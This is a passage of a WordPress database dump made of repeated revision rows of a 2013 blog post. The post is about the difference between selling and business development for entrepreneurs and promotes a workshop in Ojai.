(2326, 2, '2013-06-27 10:33:29', '2013-06-27 17:33:29', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. 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(2327, 2, '2013-06-27 10:33:38', '2013-06-27 17:33:38', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-7', '', '', '2013-06-27 10:33:38', '2013-06-27 17:33:38', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-7/', 0, 'revision', '', 0),
(2328, 2, '2013-06-27 10:33:48', '2013-06-27 17:33:48', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-8', '', '', '2013-06-27 10:33:48', '2013-06-27 17:33:48', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-8/', 0, 'revision', '', 0),
(2329, 2, '2013-06-27 10:42:18', '2013-06-27 17:42:18', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-9', '', '', '2013-06-27 10:42:18', '2013-06-27 17:42:18', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-9/', 0, 'revision', '', 0),
(2330, 2, '2013-06-27 10:42:28', '2013-06-27 17:42:28', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me in November for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level.</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-10', '', '', '2013-06-27 10:42:28', '2013-06-27 17:42:28', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-10/', 0, 'revision', '', 0),
(2331, 2, '2013-06-27 10:47:58', '2013-06-27 17:47:58', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants.\r\n</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-revision-11', '', '', '2013-06-27 10:47:58', '2013-06-27 17:47:58', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-revision-11/', 0, 'revision', '', 0),
(2332, 2, '2013-06-27 10:49:11', '2013-06-27 17:49:11', '<img class="alignnone size-full wp-image-2320" title="selling vs business development" src="http://whc.fbdev.org/wp-content/uploads/2013/06/sales-skills.jpg" alt="" width="484" height="423" />\r\n<h1><span style="color: #808080;">Selling is the most misunderstood of all business skills. Not many creative entrepreneurs or solo professionals enjoy spending their time selling. For many, selling is distasteful and conjures up a lot of stressful anxiety.</span></h1>\r\n<em>(Part One of Two)</em><em></em>\r\n\r\nIf you run your own business, you know you have to sell, but the truth is many of you don’t like it very much. Many early stage entrepreneurs and solo professionals loathe the idea of selling their goods and services to new customers (strangers).  True enough, it’s much easier and more fun to answer the call of a prospect referred to you by a trusted source. And make no mistake, a referral is the gold standard of business development, but referrals are not predictable. You will never know when one will show up. Growing your business will require you to develop a pipeline full of eager prospects that may do business with you in the future.\r\n\r\n<strong>Building a pipeline of qualified prospects is hard work!</strong>\r\n\r\nYou probably don’t think much about selling to new clients when you are busy working with current clients and customers. Most entrepreneurs only get serious about selling when their business slows down. This can be a fatal mistake. It takes a very long time to create a new customer from a “suspect”. Sometimes the sales cycle can be a year or more. When I was running my marketing communications agency, it could easily take 18 months of solid, consistent business development work to win a new client. If you need a new customer this month, you’re already in trouble.\r\n\r\nEvery business needs a steady stream of new customers.  If selling is a distasteful, anxiety-ridden activity for you, then you’ll have to change your thinking and belief about the difference between selling and business development.  It''s far better to attract new clients rather than chase them.  If your business is to continue to grow, it will require a pipeline full of clients to be.\r\n\r\nLet me help you get your thinking straight on what selling really is and how you can turn your sales procrastination into sales power taking your business to the next level.\r\n\r\n<strong>Selling is being of service to people.</strong>\r\n\r\nThere’s a common expression that “people hate to be sold, but they love to buy”. The deeper truth in that statement is people only love to buy from the people/brands they trust and admire. Through your sales and business development activities, your job is to be of service to your prospective client.\r\n\r\nAt the early stage in the sales process your not selling, you’re adding value to people. You are helping them to solve a problem and fulfill a need. Sometimes the customer’s need is blatant, needing a solution right away or they will experience pain of some sort. More often the need is latent. In other words, the customer does not “have to buy” at all. That means your biggest competitor is the customer’s decision not to buy.\r\n\r\nIn either case, the prospective client will not buy from you until you earn their trust and respect. The best way to do earn and deserve new business is to serve people by demonstrating your interest in their success rather than yours.\r\n\r\n<strong>The difference between selling and business development.</strong>\r\n\r\nStop thinking about selling something and start to learn how to nurture and develop new business. In every industry there’s a well defined “sales cycle”. As I mentioned earlier, the sales cycle takes time–usually a long time.\r\n\r\nYou have to understand the nature of this cycle in your industry, so that you can strategically and tactically align your actions to match the prospects need state where ever they happen to be in the sales cycle. At the early stage of this cycle, your mission is not to sell anything, your mission is to begin the process of developng a business relationship. The big idea is for the prospective client to desire to take you along with them as they move deeper into their buying process.\r\n\r\n<strong>Buying is a process not an event.</strong>\r\n\r\nIn any product or service category, the prospect goes through a process of buying. It usually goes something like this:\r\n\r\n<em>Need Awareness</em>\r\nThe buyer becomes aware of their need to buy and they begin to investigate sources of supply.\r\n\r\n<em>The Early Stage Buyer</em>\r\nAt this level, the prospect begins to research, interview, budget and plan, then send requests for information from potential vendors and resources in the marketplace. Their needs are still undefined and they are simply shopping.\r\n\r\n<em>The Late Stage Buyer</em>\r\nGoing deeper into the buying process, the prospect has defined their need, established a budget and a timeline for completion of the process. They actively interview a small group of candidate resources to buy from.  This usually comes in the form of a request for proposal.\r\n\r\n<em>The Purchase Decision</em>\r\nAt this final stage, the prospect has made their decision to buy and from whom. This is where the deal is closed.\r\n<h2>Your business development activities must align perfectly to the buyer’s process–leading both of you the final act of closing the sale.</h2>\r\nBut your business development process is still incomplete. Because every buyer will experience remorse in their purchase decision, the buyer will seek reassurance from you they have made the proper decision to do business with you. This is where you must be of greatest value to your new client.\r\n\r\n(Stay tuned for Part Two)\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants.\r\n</em>', 'The difference between selling and business development. ', 0, '', 'inherit', 'open', 'open', '', '2319-autosave', '', '', '2013-06-27 10:49:11', '2013-06-27 17:49:11', '', 2319, 'http://www.whitehotcenter.com/2013/06/2319-autosave/', 0, 'revision', '', 0),
